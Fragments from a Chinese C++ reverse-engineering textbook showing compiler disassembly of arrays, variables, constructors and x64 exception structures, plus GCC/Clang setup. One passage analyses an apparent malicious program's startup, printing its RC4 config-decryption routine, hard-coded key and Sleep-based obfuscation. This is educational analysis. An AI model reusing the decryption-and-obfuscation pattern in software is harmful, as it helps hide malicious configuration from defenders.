[rsp+0Ch], ecx 0000000140001017 mov rdx, qword ptr cs:aHelloWorld ;rdx=\"Hello Wo\" 000000014000101E mov [rsp], rdx 0000000140001022 mov ecx, dword ptr cs:aHelloWorld+8 ;ecx=\"rld\\0\" 0000000140001028 mov [rsp+8], ecx 000000014000102C add rsp, 20h 0000000140001030 retn 在代码清单8-2中每个寄存器保存4或者8个字节的数据并依次复制到字符数组s中。"},
    {"text": "若字符串长度不为4的倍数该如何复制数据呢这个问题很好解决只要在最后一次不等于4字节的数据复制过程中按照1或者2字节的方式复制即可。"},
    {"text": "代码清单8-3 将字符数组初始化为字符串Debug版片段2 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { char s[] = \"Hello Worl\"; return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 10h 00401006 mov eax, ___security_cookie 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov eax, dword ptr ds:aHelloWorl ;\"Hell\" 00401015 mov [ebp-10h], eax 00401018 mov ecx, dword ptr ds:aHelloWorl+4 ;\"o Wo\" 0040101E mov [ebp-0Ch], ecx 00401021 mov dx, word ptr ds:aHelloWorl+8 ;\"rl\" 00401028 mov [ebp-8], dx 0040102C mov al, byte ptr ds:aHelloWorl+0Ah ;\"\\0\" 00401031 mov [ebp-6], al 00401034 xor eax, eax 00401036 mov ecx, [ebp-4] 00401039 xor ecx, ebp 0040103B call @__security_check_cookie@4 ;__security_check_cookie(x) 00401040 mov esp, ebp 00401042 pop ebp 00401043 retn //x86_gcc对应汇编代码讲解 00401510 push ebp 00401511 mov ebp, esp 00401513 and esp, 0FFFFFFF0h 00401516 sub esp, 10h 00401519 call ___main 0040151E mov dword ptr [esp+5], 6C6C6548h ;\"Hell\" 00401526 mov dword ptr [esp+9], 6F57206Fh ;\"o Wo\" 0040152E mov word ptr [esp+0Dh], 6C72h ;\"rl\" 00401535 mov byte ptr [esp+0Fh], 0 ;\"\\0\" 0040153A mov eax, 0 0040153F leave 00401540 retn //x86_clang对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ebx 00401004 push edi 00401005 push esi 00401006 sub esp, 18h 00401009 mov eax, [ebp+0Ch] 0040100C mov ecx, [ebp+8] 0040100F xor edx, edx 00401011 mov dword ptr [ebp-10h], 0 00401018 mov esi, dword ptr ds:aHelloWorl ;esi=\"Hell\" 0040101E mov [ebp-1Bh], esi 00401021 mov esi, dword ptr ds:aHelloWorl+4 ;esi=\"o Wo\" 00401027 mov [ebp-17h], esi 0040102A mov di, word ptr ds:aHelloWorl+8 ;di=\"rl\" 00401031 mov [ebp-13h], di 00401035 mov bl, byte ptr ds:aHelloWorl+0Ah ;bl=\"\\0\" 0040103B mov [ebp-11h], bl 0040103E mov [ebp-20h], eax 00401041 mov eax, edx 00401043 mov [ebp-24h], ecx 00401046 add esp, 18h 00401049 pop esi 0040104A pop edi 0040104B pop ebx 0040104C pop ebp 0040104D retn //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 push rsi 000000014000100A push rdi 000000014000100B sub rsp, 28h 000000014000100F mov rax, cs:__security_cookie 0000000140001016 xor rax, rsp 0000000140001019 mov [rsp+10h], rax 000000014000101E lea rax, [rsp] 0000000140001022 lea rcx, aHelloWorl ;\"Hello Worl\" 0000000140001029 mov rdi, rax 000000014000102C mov rsi, rcx 000000014000102F mov ecx, 0Bh 0000000140001034 rep movsb ;无优化循环复制 0000000140001036 xor eax, eax 0000000140001038 mov rcx, [rsp+10h] 000000014000103D xor rcx, rsp ;StackCookie 0000000140001040 call __security_check_cookie 0000000140001045 add rsp, 28h 0000000140001049 pop rdi 000000014000104A pop rsi 000000014000104B retn //x64_gcc对应汇编代码讲解 0000000000401550 push rbp 0000000000401551 mov rbp, rsp 0000000000401554 sub rsp, 30h 0000000000401558 mov [rbp+10h], ecx 000000000040155B mov [rbp+18h], rdx 000000000040155F call __main 0000000000401564 mov rax, 6F57206F6C6C6548h ;rax=\"Hello Wo\" 000000000040156E mov [rbp-0Bh], rax 0000000000401572 mov word ptr [rbp-3], 6C72h ;\"rl\" 0000000000401578 mov byte ptr [rbp-1], 0 ;”\\0” 000000000040157C mov eax, 0 0000000000401581 add rsp, 30h 0000000000401585 pop rbp 0000000000401586 retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 20h 0000000140001004 xor eax, eax 0000000140001006 mov dword ptr [rsp+1Ch], 0 000000014000100E mov [rsp+10h], rdx 0000000140001013 mov [rsp+0Ch], ecx 0000000140001017 mov rdx, qword ptr cs:aHelloWorl ;\"Hello Wo\" 000000014000101E mov [rsp+1], rdx 0000000140001023 mov r8w, word ptr cs:aHelloWorl+8 ;\"rl\" 000000014000102B mov [rsp+9], r8w 0000000140001031 mov r9b, byte ptr cs:aHelloWorl+0Ah ;\"\\0\" 0000000140001038 mov [rsp+0Bh], r9b 000000014000103D add rsp, 20h 0000000140001041 retn 在代码清单8-3中字符串的前8字节数据的复制过程没有变化最后3字节的字符数据被拆分为两部分先复制2字节的数据然后再复制剩余的1字节数据。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第7章 变量在内存中的位置和访问方式 通过第6章对函数的学习读者已经预先接触了局部变量的定义及使用过程。除了局部变量外还有全局变量和静态变量也很关键本章将讲解各类作用域的底层机制并分析其中要点。在开始介绍之前我们先约定一下用语。 1. 变量的作用域 变量的作用域指变量在源码中可以被访问到的范围。全局变量属于进程作用域也就是说在整个进程中都能够访问这个全局变量静态变量属于文件作用域在当前源码文件内可以访问到局部变量属于函数作用域在函数内可以访问到在“{ }”语句块内定义的变量属于块作用域只能在定义变量的“{ }”块内访问。 2. 变量的生命周期 变量的生命周期指变量所在的内存从分配到释放的时间。我们可以将分配变量内存比喻为变量的诞生将释放变量内存比喻为变量的消亡。 读者可以在阅读本章前先思考一下以上谈到的作用域和生命周期有区别吗有什么区别呢"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第2章 基本数据类型的表现形式 2.1 整数类型 C++提供的整数数据类型有int、long、short和long long。在Visual Studio 2019中int类型与long类型都占4字节short类型占2字节long long类型占8字节。 由于二进制数不方便显示和阅读因此内存中的数据采用十六进制数表示。1字节由2个十六进制数组成在进制转换中1个十六进制数可用4个二进制数表示每个二进制数表示1位因此1字节在内存中占8位。 在C++中整数类型又可以分为有符号型和无符号型两种。有符号整数可用来表示负数与正数而无符号整数则只能表示正数。它们有什么区别在内存中又如何表示本章我们一起揭开这些谜题。 2.1.1 无符号整数 在内存中无符号整数的所有位都用来表示数值。以无符号整型数unsigned int为例此类型的变量在内存中占4字节由8个十六进制数组成取值范围为0x000000000xFFFFFFFF如果转换为十进制数则表示范围为04294967295。 当无符号整型不足32位时用0来填充剩余高位直到占满4字节内存空间为止。例如数字5对应的二进制数为101只占了3位按4字节大小保存剩余29个高位将用0填充填充后结果为00000000000000000000000000000101转换成十六进制数0x00000005之后在内存中以“小尾方式”存放。“小尾方式”存放以字节为单位按照数据类型长度低数据位放在内存的低端高数据位放在内存的高端如0x12345678会存储为78 56 34 12。相应地在其他计算机体系中也有“大尾方式”其数据存储方式和“小尾方式”相反高数据位放在内存的低端低数据位放在内存的高端如0x12345678会存储为12 34 56 78。如果大家对此仍有疑问可以查阅2.7节。 无符号整数不存在正负之分都是正数故无符号整数在内存中都是以真值的形式存放的每一位都可以参与数据表达。无符号整数可表示的正数范围是补码的1倍。 2.1.2 有符号整数 有符号整数中用来表示符号的是最高位即符号位。最高位为0表示正数最高位为1表示负数。有符号整数int在内存中同样占4字节但由于最高位为符号位不能用来表示数值因此有符号整数的取值范围要比无符号整数取值范围少1位即0x800000000x7FFFFFFF如果转换为十进制数则表示范围为-2 147 483 6482 147 483 647。 在有符号整数中正数的表示区间为0x000000000x7FFFFFFF负数的表示区间为0x800000000xFFFFFFFF。 负数在内存中都是以补码形式存放的补码的规则是用0减去这个数的绝对值也可以简单地表达为对这个数值取反加1。例如对于-3可以表达为0-3而0xFFFFFFFD+3等于0进位丢失所以-3的补码就是0xFFFFFFFD了。相应地0xFFFFFFFD作为一个补码最高位为1视为负数转换回真值同样也可以用0-0xFFFFFFFD的方式表示于是得到-3。为了计算方便人们也常用取反加一的方式求补码因为对于任何4字节的数值x都有x+x反=0xFFFFFFFF于是x+x反+1=0接下来就可以推导出0-x=x反+1了。 在我们讨论的C/C++中有符号整数都是以补码形式存储的而且在几乎所有的编程语言中都是如此这是为什么呢因为计算机只会做加法所以需要把减法转换为加法。 设有符号数 x y 求 x - y 的值我们可以推导出 x - y = x +0-| y |根据补码的规则当 y 为负数的时候0-| y |等价于 y 的补码。对于 y 的补码我们记为 y 补所以 x - y = x + y 补。 例如3-2可转换成3+-2运算过程为3的十六进制原码0x00000003加上-2的十六进制补码0xFFFFFFFE从而得到0x100000001。由于存储范围为4字节大小两数相加后产生了进位超出了存储范围超出的1将被舍弃。进位被舍弃后结果为0x00000001。 值得一提的是对于4字节补码0x80000000所表达的意义可以是负数0也可以是0x80000001减去1。因为0的正负值是相等的没有必要再用负数0所以就把这个值的意义规定为0x80000001减去1这样0x80000000也就成为4字节负数的最小值了。这也是有符号整数的取值范围中负数区间总是比正数区间多一个最小值的原因。 在数据分析中如果将内存解释为有符号整数则查看用十六进制数表示时的最高位最高位小于8则为正数大于8则为负数。如果是负数则须转换成真值从而得到对应的负数数值如图2-1所示。 图2-1 有符号负数的内存信息 在图2-1中地址0x010FFCC4对应的4字节为变量var的数据信息。var为一个有符号整数在内存中的信息为0xFFFFFFFF最高位为1说明变量var为一个负数。按照转换规则内存中存放的十六进制数为一个补码须转换成真值再进行解释。0减去0xFFFFFFFF或者对0xFFFFFFFF取反加1都可以得到真值-1。 那么如何判断一段数据是有符号类型还是无符号类型呢这就需要查看指令或者已知的函数操作内存地址的方式根据操作方式或函数相关定义得出该地址的数据类型。如API调用MessageBoxA它有4个参数查看帮助手册得知第4个参数为一个无符号整数从而可分析出这个传入数值的类型。 有符号整数在算术运算中有许多特殊之处更多有关有符号整数的操作及识别过程的内容请参考第4章。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第二部分 C++反汇编揭秘 逆向分析技术重在代码的调试和分析如果你本来就是一个技术不错的程序员学习这部分内容就是对你“内功”的锻炼这部分内容可以帮助你彻底掌握C/C++各种特性的底层机制不仅能做到知其然还能知其所以然。这个部分以C/C++语法为导向以各编译器为例解析每个C/C++知识点的汇编表现形式通过整理其反汇编代码梳理流程和脉络。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.2 安装GCC GCCGNU Compiler CollectionGNU编译器套件是由GNU开发的支持C/C++的编译器。它是以GPL许可证发行的自由软件是一个跨平台的编译器现已被大部分操作系统如Windows、Linux、macOS等采纳为标准编译器。在软件逆向工程中经常会遇见使用GCC编译的应用程序。在Windows上安装GCC可以选择安装Cygwin或者MinGW-w64本节将介绍MinGW-w64的安装。 1. 下载安装MinGW-w64 MinGW-w64的官方地址为 http://mingw-w64.org 下载地址为 https://sourceforge.net/projects/mingw-w64/files/mingw-w64/mingw-w64-release/ 下载页面如图1-10所示。 图1-10 MinGW-w64下载 单击Download进行下载下载完成后运行mingw-w64-install.exe按照图1-11所示选择安装设置。安装设置说明如下。 图1-11 MinGW-w64安装选项 Version编译器版本选择最新版8.1.0。 ArchitectureCPU选择x86-64。 Threads线程API选择win32。 Exception异常处理库选择sjlj库它可以同时支持32位和64位程序的异常处理。 Build revision默认项。 设置安装路径单击Next直到安装完成如图1-12所示。 图1-12 MinGW-w64安装 2. 配置环境变量 将MinGW-w64的bin目录设为环境变量鼠标右键选中桌面“此电脑”→“系统”→“高级系统设置”→“环境变量”如图1-13所示。 图1-13 环境变量设置入口 双击Path变量单击“新建”将bin目录设置为环境变量最后单击“确定”保存设置如图1-14所示。 图1-14 环境变量设置 单击开始菜单运行cmd输入gcc -v查看gcc版本信息是否安装成功如图1-15所示。 图1-15 查看gcc版本信息 3. 编译 运行cmd输入以下命令编译程序。 cd <源码目录> gcc -m32 -O2 -o x86_gcc.exe hello.c 编译选项说明如下。 -m32表示编译32位程序-m64表示编译64位程序。 -O2表示编译Release版以最快执行速度优化默认编译Debug版。 -o指定可执行文件名称是现在比较流行的一个编译器越来越多的软件选择使用Clang编译器编译。 1下载并安装Clang Clang的官方下载地址为 http://releases.llvm.org/download.html 选择下载Windows版本如图1-16所示。 图1-16 安装Clang 运行下载LLVM-8.0.1-win64.exe选择安装目录一直单击“下一步”直到安装完成如图1-17所示。 图1-17 Clang安装 将Clang安装路径的bin目录设置到环境变量为防止与VS2019的Clang编译器冲突可调整环境变量顺序。运行cmd并输入命令clang -v显示版本信息表示安装成功如图1-18所示。 图1-18 Clang安装成功 2编译 运行cmd输入以下命令编译程序编译选项与GCC一致其中O0表示Debug版如图1-19所示。 cd <源码目录> clang -m32 -O0 -o x86_clang.exe hello.c 图1-19 使用Clang编译程序"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 10.2 每个对象是否都有默认的构造函数 有些C++类图书在介绍构造函数时提到当没有定义构造函数时编译器会提供默认的构造函数这个函数什么事情都不做其内容类似于“{}”的形式。但是笔者经过研究发现编译器不是在任何情况下都提供默认构造函数的。在许多情况下编译器并没有提供默认的构造函数而且02选项优化编译后某些结构简单的类会被转换为连续定义的变量哪里还会需要构造函数呢在前面的学习过程中我们也碰到了在类对象定义过程中没有触发构造函数的情况如代码清单10-6所示。 代码清单10-6 没有定义构造函数的类C++源码 #include <stdio.h> class Person { public: void setAge(int age) { this->age = age; } int getAge() { return age; } private: int age; }; int main(int argc, char* argv[]) { Person person; person.setAge(20); printf(\"%d\\n\", person.getAge()); return 0; } 代码清单10-6中没有构造函数的定义编译器会为类Person提供默认的构造函数吗见图10-2中对象person的定义过程。 图10-2 对象person的定义过程 在图10-2中对象person的定义处没有任何对应的汇编代码也没有构造函数的调用过程可见编译器并没有为其提供默认的构造函数。那么在何种情况下编译器会提供默认的构造函数呢有以下两种情况。 1. 本类和本类中定义的成员对象或者父类中存在虚函数 因为需要初始化虚表且这个工作理应在构造函数中隐式完成所以在没有定义构造函数的情况下编译器会添加默认的构造函数用于隐式完成虚表的初始化工作详细讲解见第11章。 2. 父类或本类中定义的成员对象带有构造函数 在对象被定义时因为对象本身为派生类所以构造顺序是先构造父类再构造自身。当父类中带有构造函数时将会调用父类构造函数而这个调用过程需要在构造函数内完成因此编译器添加了默认的构造函数来完成这个调用过程详细讲解见第12章。成员对象带有构造函数的情况与此相同。 在没有定义构造函数的情况下当类中没有虚函数存在父类和成员对象也没有定义构造函数时提供默认的构造函数已没有任何意义只会降低程序的执行效率因此编译器没有对这种情况的类提供默认的构造函数。关于虚函数与类的继承关系会在12章详细讲解。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 7.4 本章小结 本章讲解了各类变量的作用域和生命周期以及编译器对二者的实现方式我们可以将它们作为还原高级代码的依据。但是对各个作用域的实现不同厂商的编译器略有区别甚至同厂商不同版本的编译器也会不同。而对于作用域的规定任何C和C++编译器都必须遵守相应的标准否则不能成为商业产品。因此对于编译器创建者来说他们的需求就是语法标准他们的工作就是实现标准。虽然本章有些示例是VS2019但是只要读者掌握了分析方法在环境改变时就可以结合C和C++标准规定的作用域观察编译器的实现方式总结出编译器的处理方式和识别要点。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.3 数组作为返回值 8.2节介绍了数组作为参数的用途。"},
    {"text": "由于函数退出后栈顶寄存器会回归到调用前的位置上而函数内的局部数组在栈顶寄存器之下所以数据随时都可能被其他函数调用过程产生的栈操作指令破坏。"},
    {"text": "代码清单8-7 不稳定的数组返回Debug版 // C++ 源码 #include <stdio.h> char* retArray(){ char buffer[] = {\"Hello World\"}; return buffer; } int main(int argc, char* argv[]) { printf(\"%s\\r\\n\", retArray()); return 0; } //x86_vs对应汇编代码讲解 00401040 push ebp 00401041 mov ebp, esp 00401043 call sub_401000 ;调用retArray()函数 00401048 push eax ;使用RetArray返回数组作为printf参数使用 00401049 push offset aS ;\"%s\\r\\n\" 0040104E call sub_4010A0 ;调用printf函数 00401053 add esp, 8 00401056 xor eax, eax 00401058 pop ebp 00401059 retn 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 10h 00401006 mov eax, ___security_cookie ;缓冲区溢出检查代码 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov eax, ds:dword_412160 ;字符串数组初始化为字符串 00401015 mov [ebp-10h], eax 00401018 mov ecx, ds:dword_412164 0040101E mov [ebp-0Ch], ecx 00401021 mov edx, ds:dword_412168 00401027 mov [ebp-8], edx 0040102A lea eax, [ebp-10h] ;使用eax保存数组首地址作为函数返回值。 虽然 ;eax保存的地址存在但是当函数结束调用后此 ;地址中的数据将不稳定在其他对栈空间读写操作 ;时可能破坏此数据 0040102D mov ecx, [ebp-4] 00401030 xor ecx, ebp 00401032 call @__security_check_cookie@4 ;缓冲区溢出检查代码 00401037 mov esp, ebp 00401039 pop ebp 0040103A retn //x86_clang对应汇编代码无优化略 //x86_gcc对应汇编代码无优化略 //x64_vs对应汇编代码讲解 0000000140001050 mov [rsp+10h], rdx 0000000140001055 mov [rsp+8], ecx 0000000140001059 sub rsp, 28h 000000014000105D call sub_140001000 ;调用retArray()函数 0000000140001062 mov rdx, rax ;使用RetArray返回数组作为printf参数使用 0000000140001065 lea rcx, aS ;\"%s\\r\\n\" 000000014000106C call sub_1400010E0 ;调用printf函数 0000000140001071 xor eax, eax 0000000140001073 add rsp, 28h 0000000140001077 retn 0000000140001000 push rsi 0000000140001002 push rdi 0000000140001003 sub rsp, 28h 0000000140001007 mov rax, cs:__security_cookie ;缓冲区溢出检查代码 000000014000100E xor rax, rsp 0000000140001011 mov [rsp+10h], rax 0000000140001016 lea rax, [rsp] 000000014000101A lea rcx, aHelloWorld ;字符串数组初始化为字符串 0000000140001021 mov rdi, rax 0000000140001024 mov rsi, rcx 0000000140001027 mov ecx, 0Ch 000000014000102C rep movsb 000000014000102E lea rax, [rsp] ;使用rax保存数组首地址作为函数返回值 ;虽然rax保存的地址存在但是当函数结束 ;调用后此地址中的数据将不稳定在其他 ;对栈空间读写操作时可能破坏此数据 0000000140001032 mov rcx, [rsp+10h] 0000000140001037 xor rcx, rsp ;StackCookie 000000014000103A call __security_check_cookie ;缓冲区溢出检查代码 000000014000103F add rsp, 28h 0000000140001043 pop rdi 0000000140001044 pop rsi 0000000140001045 retn //x64_clang对应汇编代码无优化略 //x64_gcc对应汇编代码无优化略 在代码清单8-6中函数retArray()中定义了数组buffer由于数组buffer为局部变量因此其所占内存空间的位置在栈空间内生命周期随函数的退出而结束。"},
    {"text": "在执行“printf(\"%d\", pArray[7]);”后由于需要将参数压栈地址0x0012FF1C~0x0012FF18之间的数据已经被破坏无法输出正常结果。"},
    {"text": "图8-4 栈平衡错误演示 如果既想使用数组作为返回值又要避免图8-4中的错误可以使用全局数组、静态数组或上层调用函数中定义的局部数组。"},
    {"text": "全局数组与静态数组都属于变量它们的特征与全局变量、静态变量相同看上去就是连续定义的多个同类型的变量如图8-5所示。 图8-5 全局数组 图8-5定义了5个4字节数据分别为1、2、3、4、5是不是和全局变量非常相似呢在分析全局数组的过程中应考察数据的访问方式以及元素长度对全局数组的识别如图8-6所示。"},
    {"text": "图8-6 全局数组的识别 在图8-6中将地址标号unk_406030表示的地址存入esi结合图8-5可知该标号开头以dword命名表示标志处为dword数据类型。"},
    {"text": "标号Format表示的常量地址如图8-7所示。 图8-7 标号Format表示的常量地址 如图8-7所示标号Format表示的常量地址为0x00406044这是全局数组的结尾地址。"},
    {"text": "图8-6中的循环每次对esi加4循环5次后esi中保存的地址为0x00406044根据判断条件esi大于或等于0x00406044则会跳转失败并跳出循环。"},
    {"text": "int g_ary[5] = {1, 2, 3, 4, 5}; void main(){ int *p = &g_ary; do { printf(\"%d\",*p); p++; } while(p < g_ary + 5) } 静态数组在全局情况下和全局数组相同。"},
    {"text": "代码清单8-8 局部静态数组Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { int n1; int n2; scanf(\"%d%d\", &n1, &n2); static int ary[5] = {n1, n2, 0}; //局部静态数组初始化第二项为常量 return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 lea eax, [ebp-8] ;eax=&n2 00401009 push eax 0040100A lea ecx, [ebp-4] ;ecx=&n1 0040100D push ecx 0040100E push offset aDD ;\"%d%d\" 00401013 call sub_4010D0 ;调用scanf函数 00401018 add esp, 0Ch 0040101B mov edx, TlsIndex 00401021 mov eax, large fs:2Ch 00401027 mov ecx, [eax+edx*4] 0040102A mov edx, dword_41A8CC 00401030 cmp edx, [ecx+4] 00401036 jle short loc_401084 00401038 push offset dword_41A8CC 0040103D call sub_401219 00401042 add esp, 4 00401045 cmp dword_41A8CC, 0FFFFFFFFh 0040104C jnz short loc_401084 ;检测初始化标志 0040104E mov eax, [ebp-4] 00401051 mov dword_41A8B8, eax ;ary[0]=n1 00401056 mov ecx, [ebp-8] 00401059 mov dword_41A8BC, ecx ;ary[1]=n2 0040105F mov dword_41A8C0, 0 ;ary[2]=0 00401069 xor edx, edx 0040106B mov dword_41A8C4, edx ;ary[3]=0 00401071 mov dword_41A8C8, edx ;ary[4]=0 00401077 push offset dword_41A8CC 0040107C call sub_4011CF ;调用printf函数 00401081 add esp, 4 00401084 xor eax, eax 00401086 mov esp, ebp 00401088 pop ebp 00401089 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 push rdi 000000014000100A sub rsp, 30h 000000014000100E lea r8, [rsp+24h] ;r8=&n2 0000000140001013 lea rdx, [rsp+20h] ;rdx=&n1 0000000140001018 lea rcx, aDD ;\"%d%d\" 000000014000101F call sub_140001110 ;调用scanf函数 0000000140001024 mov eax, 4 0000000140001029 mov eax, eax 000000014000102B mov ecx, cs:TlsIndex 0000000140001031 mov rdx, gs:58h 000000014000103A mov rcx, [rdx+rcx*8] 000000014000103E mov eax, [rax+rcx] 0000000140001041 cmp cs:dword_14001EA6C, eax 0000000140001047 jle short loc_14000109B 0000000140001049 lea rcx, dword_14001EA6C 0000000140001050 call sub_1400012BC 0000000140001055 cmp cs:dword_14001EA6C, 0FFFFFFFFh 000000014000105C jnz short loc_14000109B ;检测初始化标志 000000014000105E mov eax, [rsp+20h] 0000000140001062 mov cs:dword_14001EA58, eax ;ary[0]=n1 0000000140001068 mov eax, [rsp+24h] 000000014000106C mov cs:dword_14001EA5C, eax ;ary[1]=n2 0000000140001072 mov cs:dword_14001EA60, 0 ;ary[2]=0 000000014000107C lea rax, unk_14001EA64 0000000140001083 mov rdi, rax 0000000140001086 xor eax, eax 0000000140001088 mov ecx, 8 000000014000108D rep stosb ;ary[3]=0,ary[4]=0 000000014000108F lea rcx, dword_14001EA6C 0000000140001096 call sub_14000125C ;调用printf函数 000000014000109B xor eax, eax 000000014000109D add rsp, 30h 00000001400010A1 pop rdi 00000001400010A2 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 16.3 启动过程分析 首先分析WinMain函数中的程序流程如代码清单16-1所示。"},
    {"text": "代码清单16-1 启动过程代码片段1 .text:00406CBD push 354h ; 参数2缓冲区大小 .text:00406CC2 push offset g_AppInfo ; 参数1要解密数据的缓冲区首地址 .text:00406CC7 stosb .text:00406CC8 call EncryptInfo ; 调用解密函数解密被加密配置信息1 .text:00406CCD push 19Ah ; 参数2缓冲区大小 .text:00406CD2 push offset g_ServerInfo ; 参数1要解密数据的缓冲区首地址 .text:00406CD7 call EncryptInfo ; 调用解密函数解密被加密的配置信息2 .text:00406CDC push 1 //cryptInfo函数实现: .text:00406A30 sub esp, 10Ch .text:00406A36 push esi .text:00406A37 mov esi, ds:Sleep ; 干扰代码 .text:00406A3D push 0 ; dwMilliseconds .text:00406A3F mov [esp+114h+key], 'M' .text:00406A44 mov [esp+114h+var_10B], 'o' .text:00406A49 mov [esp+114h+var_10A], 't' .text:00406A4E mov [esp+114h+var_109], 'h' .text:00406A53 mov [esp+114h+var_108], 'e' .text:00406A58 mov [esp+114h+var_107], 'r' .text:00406A5D mov [esp+114h+var_106], '3' .text:00406A62 mov [esp+114h+var_105], '6' .text:00406A67 mov [esp+114h+var_104], '0' .text:00406A6C mov [esp+114h+var_103], 0 ; 初始化局部变量key为Monther360 .text:00406A71 call esi ; Sleep ; 干扰代码 .text:00406A73 lea eax, [esp+110h+key] .text:00406A77 push 0Ah ; 参数4key长度 .text:00406A79 lea ecx, [esp+114h+sbox] .text:00406A7D push eax ; 参数3:key .text:00406A7E push ecx ; 参数2:保存密钥缓冲区地址 .text:00406A7F mov ecx, dword_409AD4 ; 参数1全局对象this指针 .text:00406A85 call rc4_init ; 调用rc4初始化函数根据key初始化密钥 .text:00406A8A push 0 ; dwMilliseconds .text:00406A8C call esi ; Sleep ; 干扰代码 .text:00406A8E mov edx, [esp+110h+len] .text:00406A95 mov eax, [esp+110h+buff] .text:00406A9C and edx, 0FFFFh .text:00406AA2 lea ecx, [esp+110h+sbox] .text:00406AA6 push edx ; 参数4要解密数据的缓冲区长度 .text:00406AA7 push eax ; 参数3要解密数据的缓冲区 .text:00406AA8 push ecx ; 参数2密钥缓冲区地址 .text:00406AA9 mov ecx, dword_409AD4 ; 参数1全局对象this指针 .text:00406AAF call rc4_cryp ; 调用RC4加密函数根据密钥解密数据 .text:00406AB4 push 0 ; dwMilliseconds .text:00406AB6 call esi ; Sleep ; 干扰代码 .text:00406AB8 pop esi .text:00406AB9 add esp, 10Ch .text:00406ABF retn 代码清单16-1主要是将全局数据区的应用程序配置信息通过RC4加密算法进行解密解密后的信息如下。 配置信息1 { \"服务器IP地址\", \"服务器通信密码\", 2110, 2110, \"Mother360\", \"V_130305\" }; 配置信息2 { \"YYYYYYYYYYYY\", \"Yugqqu qekcaigu\", \"Igaoqa ymusuyukeamucgowws\", \"%ProgramFiles%\\\\Rumno Qrstuv\", \"SB360.exe\", \"默认分组\", \"Nmbbre hjveaika\", 0, 0, 0, 0, 0 }; 启动过程代码片段2见代码清单16-2。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 13.5 x64异常处理 x64异常处理如代码清单13-10所示。 代码清单13-10 异常处理流程Debug版 // C++ 源码 #include <stdio.h> int main() { try { printf(\"try1 begin\\r\\n\"); throw 'a'; //抛出异常 } catch (char e) { printf(\"try1 catch (char e)\\r\\n\"); } catch (short e) { printf(\"try1 catch (short e)\\r\\n\"); } printf(\"try1 end\\r\\n\"); try { printf(\"try2 begin\\r\\n\"); throw 2; //抛出异常 } catch (int e) { printf(\"try2 catch (int e)\\r\\n\"); } catch (float e) { printf(\"try2 catch (float e)\\r\\n\"); } printf(\"try2 end\\r\\n\"); return 0; } 13.5.1 RUNTIME_FUNCTION结构 在x64的异常处理中VS编译器不再采用在函数中注册SEH完成异常处理的方式而是将异常信息表存放在PE文件中的一个.pdata节中。"},
    {"text": "图13-12 .pdata节数据 从图13-12中可以看出.pdata节存放了RUNTIME_FUNCTION的结构体信息其结构体如下所示。 RUNTIME_FUNCTION struc ; (sizeof=0xC) FunctionStart dd ? ; 函数起始地址(偏移量) FunctionEnd dd ? ; 函数结束地址(偏移量) UnwindInfo dd ? ; 展开信息地址(偏移量) RUNTIME_FUNCTION ends RUNTIME_FUNCTION结构必须在内存中4字节对齐FunctionStart和FunctionEnd成员记录异常的函数范围UnwindInfo成员记录异常展开信息该地址指向UNWIND_INFO结构。"},
    {"text": "13.5.2 UNWIND_INFO结构 展开数据信息结构记录函数对堆栈指针的影响以及非易失寄存器保存在堆栈上的位置代码如下。 UNWIND_INFO struc ; (sizeof=0x4) Version_Flags db ? ;低3位Version高5位Flags PrologSize db ? ;序言大小 CntUnwindCodes db ? ;展开代码数组大小 FrReg_FrRegOff db ? ;低4位帧寄存器高4位帧寄存器偏移量 UNWIND_CODE dw ? dup(?) ;展开代码数组 变量 ? ;格式可以是以下1或2 UNWIND_INFO ends 1异常处理程序 FunctionEntry dd ? ;异常处理程序的地址 ExceptionData dd ? ;特定于语言的处理程序数据C++指向Function结构 2链式展开信息 FunctionStart dd ? ;函数起始地址(偏移量) FunctionEnd dd ? ;函数结束地址(偏移量) UnwindInfo dd ? ;展开信息地址(偏移量) UNWIND_INFO结构必须在内存中4字节对齐每个字段的含义如下所示。"},
    {"text": "UNW_FLAG_EHANDLER(1)含一个异常处理程序该处理程序在查找需要检查异常的函数时调用。 UNW_FLAG_UHANDLER(2)有一个终止处理程序该处理程序应在展开异常时调用。"},
